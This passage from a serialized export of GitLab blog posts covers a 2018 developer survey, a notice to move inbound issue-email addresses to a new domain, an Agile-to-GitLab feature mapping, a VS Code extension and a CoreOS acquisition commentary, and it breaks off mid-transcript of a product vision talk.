lifecycle. We also found that IT management is more optimistic in their perception of overall workplace satisfaction with roughly 10 percent more respondents agreeing their team is set up to succeed, and that project requirements and deadlines are set up front.\n\n\u003Cimg src=\"/images/blogimages/2018-developer-report-stats_2x.jpg\" alt=\"2018 Developer Report\" style=\"width: 900px;\"/>\n\nDelays during the planning phase emerged as a top challenge for all respondents and unclear direction remains the greatest challenge to getting work done for developers.\n\n## DevOps\n\nCommitment to and demand for DevOps is growing, despite challenges posed by outmoded tooling and cultural resistance to change. Adoption is still in early stages, with 23 percent identifying DevOps as their development methodology, but this is sure to increase with IT management naming it as one of their top three areas for technology investment in 2018. The tide of developer opinion is following suit: we found that the majority of developers agree that a DevOps workflow saves valuable time during the development process. Teams currently practicing DevOps confirm the productivity gains – high performers, who told us they deploy their code on demand, and who estimated that they spend 50 percent or more of their time on new work, report having a clear DevOps culture at rates more than double that of lower-performing teams.\n\n## Open source\n\nOpen source projects like [Kubernetes](/blog/containers-kubernetes-basics/) and [CoreOS](/blog/coreos-acquisition/) have gained a lot of recent attention and this year’s survey underscores the value of creating software in the open. 92 percent of total respondents agree that open source tools are important to software innovation and nearly 50 percent report that most of their tools are open source.\n\n## About the 2018 survey\n\nGitLab surveyed 5,296 software professionals of varying backgrounds and industries around the world. The margin of error is two percent, assuming a population size of 21 million software professionals and 99 percent confidence level.\n\n## Methodology\n\nWe launched this Global Developer Survey on November 17, 2017, collecting responses\nuntil December 18, 2017. During that time, we promoted the survey primarily on GitLab’s\nsocial media channels and newsletter. In order to correct for the gender imbalance\ndeveloping in our survey sample, we made an extra push via Twitter on December 5 to encourage\nwomen involved in the software development lifecycle to take the survey. By the end of the open\nperiod, we achieved approximately 25 percent female respondents, the same percentage of women who currently\nhold computing roles, according to [NCWIT](https://www.ncwit.org/sites/default/files/resources/womenintech_facts_fullreport_05132016.pdf).\n\n| Frequently asked questions |\n| -------- | -------- |\n| **How can I access the report?**   | You can view the complete report [here](/developer-survey/).   |\n| **Are the raw results publicly available?**  | Yes, you can view the raw data [here](https://www.surveymonkey.com/results/SM-G3S6S63P8/).   |\n| **Did only GitLab users take the survey?** | No, it was open to all who work in software production. You can view the survey demographics [here](/developer-survey/).  |\n| **How can I ask questions or give feedback about the survey and results?** | You can direct questions or comments about the survey to [surveys@gitlab.com](mailto:surveys@gitlab.com). |\n| **I’d like to participate in the next survey. Can I sign up for alerts?** | The best way to receive news about the Global Developer Survey is to sign up for our bi-weekly newsletter – you can do that below or visit our [Subscription Center](https://page.gitlab.com/SubscriptionCenter.html). |\n",[8570,815,4103,1444],{"slug":33953,"featured":6,"template":678},"2018-global-developer-report","content:en-us:blog:2018-global-developer-report.yml","2018 Global Developer Report","en-us/blog/2018-global-developer-report.yml","en-us/blog/2018-global-developer-report",{"_path":33959,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33960,"content":33965,"config":33970,"_id":33972,"_type":16,"title":33973,"_source":17,"_file":33974,"_stem":33975,"_extension":20},"/en-us/blog/reconfigure-inbound-email-for-gitlab-notification",{"title":33961,"description":33962,"ogTitle":33961,"ogDescription":33962,"noIndex":6,"ogImage":12013,"ogUrl":33963,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33963,"schema":33964},"GitLab inbound email issue notification","We've identified a potential risk impacting those using our email an issue to project, Reply by Email, and Service Desk features.","https://about.gitlab.com/blog/reconfigure-inbound-email-for-gitlab-notification","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab inbound email issue notification\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jim Thavisouk\"}],\n        \"datePublished\": \"2018-03-06\",\n      }",{"title":33961,"description":33962,"authors":33966,"heroImage":12013,"date":33967,"body":33968,"category":736,"tags":33969},[32602],"2018-03-06","\n\nGitLab.com provides users the capability to [create new issues via email](https://docs.gitlab.com/ee/user/project/issues/managing_issues.html#new-issue-via-email), which can also be managed by [Service Desk](https://docs.gitlab.com/ee/user/project/service_desk.html). This is accomplished through a dynamically generated email address that is currently being managed with GitLab's domain name (@gitlab.com). It has come to our attention that an attacker can abuse this process to perform actions outside the intended scope with the @gitlab.com domain. This issue impacts users who are using email an issue to project, [Reply by Email](https://docs.gitlab.com/ee/administration/reply_by_email.html), and Service Desk.\n\n\u003C!-- more -->\n\n## Customer remediation steps\n\nOur users should check to see if they are using the create new issues via email feature.\n\nIf aliases were used, update those aliases from `@gitlab.com` to `@incoming.gitlab.com`.\n\nIf domain whitelisting was used, please update those domains from `@gitlab.com` to `@incoming.gitlab.com`.\n\nThese changes can be made _immediately_.\n\n## GitLab remediation strategy\n\nWe will update the addresses from `@gitlab.com` to `@incoming.gitlab.com`.\n\nWe will reach out to users directly that are still using the old address to make sure the new addresses are being used instead, by **April 17, 2018**.\n\nAll addresses with the @gitlab.com domain will be disabled **April 31, 2018**. Incoming email to the address will be rejected.\n",[674,676],{"slug":33971,"featured":6,"template":678},"reconfigure-inbound-email-for-gitlab-notification","content:en-us:blog:reconfigure-inbound-email-for-gitlab-notification.yml","Reconfigure Inbound Email For Gitlab Notification","en-us/blog/reconfigure-inbound-email-for-gitlab-notification.yml","en-us/blog/reconfigure-inbound-email-for-gitlab-notification",{"_path":33977,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33978,"content":33984,"config":33989,"_id":33991,"_type":16,"title":33992,"_source":17,"_file":33993,"_stem":33994,"_extension":20},"/en-us/blog/gitlab-for-agile-software-development",{"title":33979,"description":33980,"ogTitle":33979,"ogDescription":33980,"noIndex":6,"ogImage":33981,"ogUrl":33982,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33982,"schema":33983},"How to use GitLab for Agile software development","How Agile artifacts map to GitLab features and how an Agile iteration looks in GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097459/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2821%29_2pdp2MNB7SoP4MhhiI1WIa_1750097459157.png","https://about.gitlab.com/blog/gitlab-for-agile-software-development","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to use GitLab for Agile software development\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Victor Wu\"},{\"@type\":\"Person\",\"name\":\"Amanda Rueda\"}],\n        \"datePublished\": \"2018-03-05\",\n      }",{"title":33979,"description":33980,"authors":33985,"heroImage":33981,"date":33986,"body":33987,"category":1897,"tags":33988,"updatedDate":5363},[30512,1894],"2018-03-05","Ever wondered if GitLab supports [Agile methodology](https://about.gitlab.com/solutions/agile-delivery/)? If you're considering using GitLab it might not be obvious how the DevSecOps platform's features correspond with Agile artifacts, so we've broken it down for you.\n\nAgile is one of the most important and transformative methodologies introduced to the software engineering discipline in recent decades. While not everyone can agree on the detailed terminology of Agile concepts, it has nonetheless made a significant positive impact on software development teams efficiently creating customer-centric products through [Agile software development](https://about.gitlab.com/topics/agile-delivery/) and delivery processes.\n\nGitLab is designed to be flexible enough to adapt to your software development methodology, whether Agile or influenced by it. In this post, we'll show a simple mapping of Agile artifacts to GitLab features, and explain how customers have successfully run high-performing [Agile software delivery teams](https://about.gitlab.com/solutions/agile-delivery/) with GitLab.\n\n## Mapping Agile artifacts to GitLab features\n\n### Agile artifact &#8594; GitLab feature\n\n- User story –> [Issues](https://docs.gitlab.com/ee/user/project/issues/)\n- Task –> [Tasks](https://docs.gitlab.com/ee/user/tasks.html)\n- Epic –> [Epics](https://docs.gitlab.com/ee/user/group/epics/)\n- Points and estimation –> [Issue weight](https://docs.gitlab.com/ee/user/project/issues/issue_weight.html)\n- Product backlog –> [Issue boards](https://docs.gitlab.com/ee/user/project/issue_board.html)\n- Sprint/iteration –> [Iterations](https://docs.gitlab.com/ee/user/group/iterations/)\n- Agile board –> [Issue boards](https://docs.gitlab.com/ee/user/project/issue_board.html)\n- Team workload –> [Issue boards](https://docs.gitlab.com/ee/user/project/issue_board.html)\n- Burndown chart –> [Burndown charts](https://docs.gitlab.com/ee/user/project/milestones/burndown_and_burnup_charts.html)\n\n## An Agile iteration with GitLab\n\n### User stories &#8594; GitLab Issues\n\nIn Agile software development methodology, you often start with a user story that captures a single feature to deliver business value for users. In GitLab, an [issue](https://docs.gitlab.com/ee/user/project/issues/) serves this purpose with ease. GitLab Issues are essential for Agile teams, providing an effective method to manage tasks and projects. Software developers can create, assign, and track issues, ensuring clear accountability and progress visibility. Issues come with robust metadata such as assignee, iteration, weight, and labels, which enhances task prioritization and workflow management throughout the software development process. Additionally, team collaboration on issues is streamlined with discussion threads, attachments, and real-time updates, enabling effective communication and teamwork.\n\n![screenshot of a GitLab Issue](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097468/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097468371.png)\n\nThe GitLab Issue has a title and a description area in the middle, providing a space to document any details, such as the business value and relevant personas in a user story. The sidebar at the right provides integration with other Agile-compatible features like the epic parent that the issue belongs to, the iteration in which the issue is to be worked on, and the weight of the issue, reflecting the estimated effort.\n\n### Task &#8594; Tasks\n\nOften, a user story is further separated into individual tasks. GitLab [Tasks](https://docs.gitlab.com/ee/user/tasks.html) streamline project management by allowing Agile teams to break down user stories into discrete pieces of work. This feature supports the Agile framework by enabling software developers to create, assign, and track tasks within their projects. By integrating task management directly into GitLab, teams can maintain a cohesive workflow, ensuring all software development project activities are easily tracked and managed.\n\n![screenshot showing precise task management and project tracking using GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097469/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097468372.png)\n\nEnhance user value by enabling precise task management and project tracking using GitLab. Tasks are equipped with the same metadata as issues, including assignee, iteration, weight, labels, time tracking, and collaboration features. This comprehensive feature set allows Agile teams and project managers to manage workloads effectively, prioritize tasks, and ensure seamless collaboration among software developers.\n\n### Epics &#8594; GitLab Epics\nIn the other direction, some Agile practitioners specify an abstraction above user stories, often called an epic, that indicates a larger user flow consisting of multiple features. In GitLab, an [epic](https://docs.gitlab.com/ee/user/group/epics/) also contains a title and description, much like an issue, but it allows you to attach multiple child issues to it to indicate that hierarchy.\n\n![screenshot of nested GitLab Epics](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097469/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750097468374.png)\n\nGitLab Epics allows Agile teams to organize and manage large projects efficiently by nesting epics up to nine layers deep. This hierarchical structure provides a clear view of the project's roadmap, helping software developers and project managers break down complex initiatives into manageable components. By utilizing child and [linked epics](https://docs.gitlab.com/ee/user/group/epics/linked_epics.html), teams can better track progress, dependencies, and project milestones, enhancing collaboration and ensuring cohesive agile delivery.\n\n### Product backlog &#8594; GitLab Issue Boards\n\nThe product or business owners typically create these user stories to reflect the needs of the business and customers. They are prioritized in a product backlog to capture urgency and desired order of development. The product owner communicates with stakeholders to determine the priorities and constantly refines the backlog.  In GitLab, an [issue board](https://docs.gitlab.com/ee/user/project/issue_board.html) organized with iterations as lists offers a drag-and-drop workflow experience that allows you to effortlessly prioritize your backlog and assign stories to an upcoming sprint.\n\n![Gif of GitLab Issue Board](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097469/Blog/Content%20Images/Blog/Content%20Images/WIP_limit_aHR0cHM6_1750097468376.gif)\n\n### Sprints &#8594; GitLab iterations\n\nA sprint represents a finite time period in which the work is to be completed, which may be a week, a few weeks, or perhaps a month or more. The product owner and the development team meet to decide the work that is in scope for the upcoming sprint. GitLab's [iterations](https://docs.gitlab.com/ee/user/group/iterations/) feature supports this: Assign iterations a start date and a due date to capture the time period of the iteration. The team then puts issues into the sprint by assigning them to that particular iteration.\n\nBy using iterations, you leverage GitLab’s enhanced capabilities for Agile project management, providing better visibility and control over your Agile planning and delivery.\n\n### Points and estimation &#8594; GitLab issue weight\n\nAlso in this meeting, user stories are communicated, and the level of technical effort is estimated for each in-scope user story. In GitLab, issues have a [weight](https://docs.gitlab.com/ee/user/project/issues/issue_weight.html) attribute, which you would use to indicate the estimated effort.\n\nIn this meeting (or in subsequent ones), user stories are further broken down to technical deliverables, sometimes documenting technical plans and architecture. In GitLab, this information can be documented in the issue, or in the [merge request description](https://docs.gitlab.com/ee/user/project/merge_requests/), as the merge request is often the place where technical collaboration happens.\n\nDuring the sprint (GitLab iteration), software development team members pick up user stories to work on, one by one. In GitLab, issues have assignees. So you would [assign](https://docs.gitlab.com/ee/user/project/issues/multiple_assignees_for_issues.html) yourself to an issue to reflect that you are now working on it. We'd recommend that you [create an empty and linked-to-issue merge request](https://docs.gitlab.com/ee/user/project/issues/) right away to start the technical collaboration process, even before creating a single line of code.\n\n### Agile board &#8594; GitLab Issue Boards\n\nThroughout the sprint, issues move through various stages, such as `Ready for dev`, `In dev`, `In QA`, `In review`, `Done`, depending on the workflow in your particular organization. Typically these are columns in an Agile board. In GitLab, [issue boards](https://docs.gitlab.com/ee/user/project/issue_board.html) allow you to define your stages and enable you to move issues through them. The team can [configure the board](https://docs.gitlab.com/ee/user/project/issue_board.html#board-with-configuration) with respect to the iteration and other relevant attributes. During daily stand-ups, the team looks at the board together, to see the status of the sprint from a workflow perspective.\n\n![screenshot of GitLab Issue Board](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097469/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097468378.png)\n\nThe GitLab Issue Board also pulls in issues dynamically, similar to the GitLab issue list. But it allows for more flexible workflows. You can set up individual lists in the board, to reflect Agile board stages. Your team can then control and track user stories as they move from for example, `Ready for dev`, all the way to `Released to production`.\n\n### Team workload &#8594; GitLab Issue Boards\n\nAgile teams can optimize their workflows by creating issue boards with lists scoped to assignees in GitLab. This feature allows you to visualize the distribution of tasks among team members, enhancing Agile delivery. To set it up, navigate to your project or group, create a new board in the \"Boards\" section, and [add lists](https://docs.gitlab.com/ee/user/project/issue_board.html#create-a-new-list) for each assignee. Assign issues to team members, and they will automatically appear in the corresponding lists. This dynamic view empowers balanced workloads and effective task management.\n\n![Screenshot of organized GitLab Issue Board](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097469/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097468380.png)\n\nOrganize an issue board by assignee or by squad using [scoped labels]. GitLab’s Issue Board is incredibly diverse and supports workflows across the software development lifecycle.\n\n### Burndown charts &#8594; GitLab Burndown Charts\n\nThe development team wants to know if they are on track in real time, and mitigate risks as they arise. GitLab provides [burndown charts](https://docs.gitlab.com/ee/user/project/milestones/burndown_and_burnup_charts.html), allowing the team to visualize the work scoped in the current sprint \"burning down\" as they are being completed.\n\nToward the end of the sprint, the development team demos completed features to various stakeholders. With GitLab, this process is made simple using [Review Apps](https://docs.gitlab.com/ee/ci/review_apps/index.html) so that even code not yet released to production, but in various testing, staging or UAT environments can be demoed. Review Apps and [CI/CD features](https://docs.gitlab.com/ee/ci/) are integrated with the merge request itself.\n\nThese same tools are useful for Developers and QA roles to maintain software quality, whether through automated testing with CI/CD, or manual testing in a Review App environment.\n\n![Screenshot of GitLab Burndown Chart](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097469/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750097468381.png)\n\nThe GitLab Burndown Chart allows a team to track scoped work \"burning down,\" as they are being completed in a sprint. This allows you to react to risks sooner and adapt accordingly, for example, informing your business stakeholders that certain features are anticipated to be delayed to a future sprint.\n\nTeam retrospectives at the end of the sprint can be documented in GitLab’s [wiki](https://docs.gitlab.com/ee/user/project/wiki/index.html), so that lessons learned and action items are tracked over time. During the actual retrospective, the team can look at the [iteration report](https://docs.gitlab.com/ee/user/group/iterations/#iteration-report), which displays the burndown chart and other statistics of the completed sprint.\n\n## Start your Agile journey with GitLab\nReady to elevate your Agile project management? GitLab offers a comprehensive suite of features tailored to Agile teams, software developers, and project managers, ensuring seamless collaboration and efficient workflows. Explore our pricing options, start a free trial and discover how GitLab can transform your Agile delivery processes.\n\n> [Learn more about GitLab Agile planning](https://about.gitlab.com/pricing/) and get started on your journey today!\n",[1899,754,1444,2368],{"slug":33990,"featured":6,"template":678},"gitlab-for-agile-software-development","content:en-us:blog:gitlab-for-agile-software-development.yml","Gitlab For Agile Software Development","en-us/blog/gitlab-for-agile-software-development.yml","en-us/blog/gitlab-for-agile-software-development",{"_path":33996,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33997,"content":34003,"config":34008,"_id":34010,"_type":16,"title":34011,"_source":17,"_file":34012,"_stem":34013,"_extension":20},"/en-us/blog/gitlab-vscode-extension",{"title":33998,"description":33999,"ogTitle":33998,"ogDescription":33999,"noIndex":6,"ogImage":34000,"ogUrl":34001,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34001,"schema":34002},"A VS Code extension for GitLab: GitLab Workflow","Senior Frontend Engineer Fatih Acet created a VS Code extension, GitLab Workflow, which allows you to do many GitLab-specific tasks quickly and easily.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680196/Blog/Hero%20Images/vs-code-extension-gitlab-workflow.jpg","https://about.gitlab.com/blog/gitlab-vscode-extension","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A VS Code extension for GitLab: GitLab Workflow\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fatih Acet\"}],\n        \"datePublished\": \"2018-03-01\",\n      }",{"title":33998,"description":33999,"authors":34004,"heroImage":34000,"date":34005,"body":34006,"category":734,"tags":34007},[30077],"2018-03-01","\n\nWe recently did a survey within the Frontend team to see which tools we were using and how we were using them, in order to learn from one another and to build better development workflows. Through this survey, we determined that [Visual Studio Code (VS Code)](https://code.visualstudio.com/) is the most used integrated development environment (IDE) within the team. This led to the idea for a GitLab extension for VS Code that could help reduce context switching and boost productivity.\n\nUpdate: Read [eight tips for using the GitLab VS Code extension](https://about.gitlab.com/blog/vscode-workflows-for-working-with-gitlab/) and about [how GitLab + VS Code can be used for extension development](/blog/vscode-extension-development-with-gitlab/).\n{: .alert .alert-info .text-center}\n\nThis is not a [GitLab feature](/pricing/feature-comparison/) (we're actually working on building our own integrated [web IDE](https://docs.gitlab.com/ee/user/project/web_ide/)), but the extension is a quick and easy way to perform a lot of useful actions you would usually visit [GitLab.com](https://gitlab.com/) to do, directly within your VS Code editor. Watch the demo below and read on for more about how I developed the extension.\n\n## Demo\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/XcxsF0lWBhA\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## First iteration of GitLab Workflow\n\nThis was my first attempt at writing a VS Code extension, and I wanted to build something simple as a first iteration. I built an extension that allowed users to see issues and merge requests assigned to them on GitLab.com. The detailed documentation and powerful APIs of VS Code enabled me to build my first version in less than two hours! It was an enjoyable experience.\n\n## Further iterations\n\nThis led to the creation of my second iteration: showing MR URLs, providing the pipeline status on the status bar, opening the current file and current MR on GitLab.com. I shared this second iteration with my fellow GitLab team-members on our internal Slack and received a lot of positive feedback. After that, I released new iterations and it got more than 5,000 installations in just a month. It was so well received that it was featured on the \"Trending this week\" section of Visual Studio Marketplace and is still currently being featured on the \"Trending this month\" section 🎉\n\n\u003Ccenter>\u003Cimg src=\"/images/blogimages/gitlab-vscode-extension/trending-this-month.png\" alt=\"GitLab Workflow on Visual Studio Marketplace\" style=\"width: 700px;\"/>\u003C/center>{: .shadow}\n\nThe current version of this extension allows you to:\n\n- See pipeline status, open MR and close issue links in the status bar. [Read more](https://gitlab.com/fatihacet/gitlab-vscode-extension/tree/master#status-bar).\n- Automatically update pipeline status on the status bar so you don't need to open GitLab to see your pipeline status.\n- Advanced pipeline actions allow you to view a pipeline on GitLab, create a new pipeline, and retry or cancel current pipeline. [Read more](https://gitlab.com/fatihacet/gitlab-vscode-extension/tree/master#pipeline-actions).\n- Issue and MR search including simple and advanced search. [Read more](https://gitlab.com/fatihacet/gitlab-vscode-extension/tree/master#advanced-search).\n- View an MR and close an issue on GitLab with a single click from your status bar.\n- View an active file on GitLab with highlighting active line number and selected text block. [Read more](https://gitlab.com/fatihacet/gitlab-vscode-extension/tree/master#open-active-file).\n- Create public, internal or private snippet from entire file or selection. [Read more](https://gitlab.com/fatihacet/gitlab-vscode-extension/tree/master#create-snippet).\n- Compare your branch with master and view changes on GitLab. [Read more](https://gitlab.com/fatihacet/gitlab-vscode-extension/tree/master#compare-with-master).\n- Validate GitLab CI configuration file `.gitlab-ci.yml`. [Read more](https://gitlab.com/fatihacet/gitlab-vscode-extension/tree/master#validate-gitlab-ci-configuration).\n\nSee below for more tasks you can perform quickly with the extension.\n\n\u003Ccenter>\u003Cimg src=\"/images/blogimages/gitlab-vscode-extension/gitlab-vscode.png\" alt=\"GitLab Workflow Commands\" style=\"width: 700px;\"/>\u003C/center>{: .shadow}\n\nYou can find the source code [here](https://gitlab.com/fatihacet/gitlab-vscode-extension) and see the extension [on the Visual Studio Marketplace](https://marketplace.visualstudio.com/items?itemName=fatihacet.gitlab-workflow). You can read the documentation [here](https://docs.gitlab.com/ee/user/project/repository/vscode.html) and check the CHANGELOG [here](https://gitlab.com/fatihacet/gitlab-vscode-extension/blob/master/CHANGELOG.md). There is also a [Product Hunt page](https://www.producthunt.com/posts/gitlab-workflow) for the extension.\n\nPhoto by [Iker Urteaga](https://unsplash.com/photos/TL5Vy1IM-uA?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/tools?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[4144,815,232],{"slug":34009,"featured":6,"template":678},"gitlab-vscode-extension","content:en-us:blog:gitlab-vscode-extension.yml","Gitlab Vscode Extension","en-us/blog/gitlab-vscode-extension.yml","en-us/blog/gitlab-vscode-extension",{"_path":34015,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34016,"content":34022,"config":34027,"_id":34029,"_type":16,"title":34030,"_source":17,"_file":34031,"_stem":34032,"_extension":20},"/en-us/blog/coreos-acquisition",{"title":34017,"description":34018,"ogTitle":34017,"ogDescription":34018,"noIndex":6,"ogImage":34019,"ogUrl":34020,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34020,"schema":34021},"Red Hat follows GitLab's lead in hybrid cloud technology","Red Hat’s recent acquisition of CoreOS proves that GitLab’s hybrid cloud strategy is worth the investment.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680202/Blog/Hero%20Images/coreos.jpg","https://about.gitlab.com/blog/coreos-acquisition","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Red Hat follows GitLab's lead in hybrid cloud technology\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2018-02-27\",\n      }",{"title":34017,"description":34018,"authors":34023,"heroImage":34019,"date":34024,"body":34025,"category":8943,"tags":34026},[3532],"2018-02-27","\n\nRed Hat's acquisition of CoreOS illustrates the growing importance of adopting a hybrid cloud strategy.\n\n\u003C!-- more -->\n\nIn a market-validating move, [Red Hat acquired CoreOS](https://www.redhat.com/en/about/press-releases/red-hat-acquire-coreos-expanding-its-kubernetes-and-containers-leadership), a player in the container technology space, for $250 million. The acquisition comes at a pivotal time in the hybrid cloud market as containers are increasingly becoming a necessity in enabling application portability across multiple clouds. The portability of containers has heightened demand for container management solutions, with organizations actively seeking to find solutions to help them transition their existing applications to the hybrid cloud.\n\nThe acquisition has broad implications on the market and adds validation to [our mission](/company/strategy/) to develop the leading end-to-end software development and operations tool for [cloud native development](/topics/cloud-native/).\n\n## A future-focused strategy\n\nHybrid cloud is the future of technology, and every organization should make its adoption a business imperative. Hybrid cloud gives organizations the flexibility to begin with in-house data centers, scale up with external cloud resources, and adopt or revert to solutions based on changing needs. Hybrid cloud is a customizable strategy that won’t restrict your development and operations and gives you the freedom to leverage existing, low-cost cloud solutions when you need them.\n\nWith the trajectory of software innovation and a customer-driven demand for a simplified solution, cloud native development is the next step in digital transformation. Hybrid cloud technology uses a combination of both physical and multiple cloud platforms, such as Amazon and Azure, increasing the need for a single way to enable faster development velocity while maintaining operational stability.\n\nBecause a hybrid cloud strategy allows developers to quickly adjust development and operations based on need, developers can focus on code improvements and new features, rather than turning their attention to brainstorming ways to scale.\n\n## On cloud nine\n\nContainer technology enables you to simplify deployment of runners, review apps, and your own applications on multiple clouds, including AWS, Azure, and Google, providing you with multiple advantages in development. The ability to switch easily between different clouds gives you the freedom to select options based on price and to make adjustments as costs change over a development lifecycle. If you decide to run an in-house data center and suddenly need to scale beyond your existing hardware, you can quickly leverage the public cloud using the same technology.\n\nContainer schedulers, such as [Kubernetes](/solutions/kubernetes/), provide a common platform from which to automate your management of application containers, from deploying and scaling to operating, so getting started with a hybrid cloud strategy can be a breeze if you have the right solution.\n\n## GitLab has you covered\n\nGitLab is the leader in cloud native development and has pioneered everything you need for end-to-end software development and operations. We have developed a compelling product that covers the entire DevOps lifecycle with a [single application](/direction/#single-application) based on [convention over configuration](/handbook/product/product-principles/#convention-over-configuration). With a [built-in container registry](https://docs.gitlab.com/ee/user/packages/container_registry/index.html), Kubernetes integration, and [CI/CD](/solutions/continuous-integration/), GitLab is a complete, easy-to-implement solution for your cloud strategy. GitLab is the first end-to-end application to meet the needs of developers at all stages of the development and operations lifecycle.\n\nAs a new generation of software emerges, GitLab has set the standard in providing you with the tools to build, test, deploy, and run your app at scale. A hybrid cloud strategy is no longer a unique way to gain a competitive advantage. It’s the only way to ensure visibility, security, and stability across multiple environments.\n\n[Cover image](https://pixabay.com/en/business-cargo-containers-crate-1845350/) licensed\nunder [CC X](https://pixabay.com/en/service/terms/#usage)\n{: .note}\n",[736,676],{"slug":34028,"featured":6,"template":678},"coreos-acquisition","content:en-us:blog:coreos-acquisition.yml","Coreos Acquisition","en-us/blog/coreos-acquisition.yml","en-us/blog/coreos-acquisition",{"_path":34034,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34035,"content":34040,"config":34045,"_id":34047,"_type":16,"title":34048,"_source":17,"_file":34049,"_stem":34050,"_extension":20},"/en-us/blog/gitlabs-2018-product-vision",{"title":34036,"description":34037,"ogTitle":34036,"ogDescription":34037,"noIndex":6,"ogImage":33678,"ogUrl":34038,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34038,"schema":34039},"GitLab's 2018 Product Vision: Prototype demo","Take an early look at where we're heading this year.","https://about.gitlab.com/blog/gitlabs-2018-product-vision","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab's 2018 Product Vision: Prototype demo\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Pundsack\"}],\n        \"datePublished\": \"2018-02-26\",\n      }",{"title":34036,"description":34037,"authors":34041,"heroImage":33678,"date":34042,"body":34043,"category":299,"tags":34044},[26026],"2018-02-26","\nAt GitLab, we believe there's something magical about a video demo as a way to\n[convey strategic\nvision](/handbook/product/index.html#communicating-product-vision). We've\ncreated this video to internally align where we're going; and since we're\n[transparent by\ndefault](https://handbook.gitlab.com/handbook/values/#transparency), you get to see\nit as well!\n\n\u003C!-- more -->\n\nSo sit back, [watch the video](https://youtu.be/RmSTLGnEmpQ), follow\nalong with [the\npresentation](https://docs.google.com/presentation/d/19dZ1Y4us11B_96YoXvgQL4aBXPy2iNYRId0vmTulnnQ/edit?usp=sharing),\nor read below for a lightly edited transcript of the video. You can also [play\nwith the prototype](https://framer.cloud/UaofH/index.html) yourself (click the\nheader to move to the next page, click the left sidebar to move back) or\n[follow our progress](/direction/).\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/RmSTLGnEmpQ\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n## Introduction\n\nToday I’m going to talk about GitLab’s product vision for 2018. Specifically,\nI’m going to show a prototype of what the product might look like.\n\nAs you can imagine with a product vision as extensive as ours, there’s a lot to\ncover. So if you only remember three things from this presentation, know that:\n\n1. We’re going after the **complete DevOps** lifecycle, and specifically,\n2. we want **Operations and Security** to use GitLab as a primary interface, and\n3. a [single application](/topics/single-application/) covering this entire scope brings emergent benefits, specifically that people can work **concurrently**, on the same data, with the same interface.\n\nSo hopefully it’s\n[obvious](/blog/devops-strategy/)\n[by](/blog/gitlab-raises-20-million-to-complete-devops/)\n[now](/blog/from-dev-to-devops/) that we’re going\nfrom covering the development lifecycle to covering the entire DevOps lifecycle.\n\n\u003Cimg src=\"/images/blogimages/2018-product-vision/dev2devops.png\" alt=\"Dev to DevOps\" style=\"width: 700px;\"/>{: .shadow}\u003Cbr/>\n*\u003Csmall>From Dev to DevOps\u003C/small>*\n\nBut traditional DevOps tools only focus on the intersection between Dev and Ops,\nand GitLab is going to deliver a complete scope for both Dev and Ops. In\nparticular, that means we’re not just looking at how Developers can get their\ncode into production, but how Operations can then monitor and manage those\napplications and underlying infrastructure. A big milestone for GitLab will be\nwhen Operations people log into GitLab every day and consider it their main\ninterface for getting work done.\n\nBut even that’s not really sufficient, as we’re redefining what the scope of\nDevOps even is; we’re also covering Security and Business needs (such as project\nmanagers). Rather than coming up with some crazy DevSecBizOps name, we’re just\ncalling it DevOps, and putting it all into a single application.\n\n\u003Cimg src=\"/images/blogimages/2018-product-vision/devsecbizops.png\" alt=\"DevSecBizOps\" style=\"width: 700px;\"/>{: .shadow}\u003Cbr/>\n*\u003Csmall>No DevSecBizOps; a single application for DevOps\u003C/small>*\n\nAnd with that, each group gets an experience tailored to their needs, but shares\nthe same data and interface as everyone else, so collaboration is easy. Imagine\nan Ops person finds an issue in production, drills down to find the 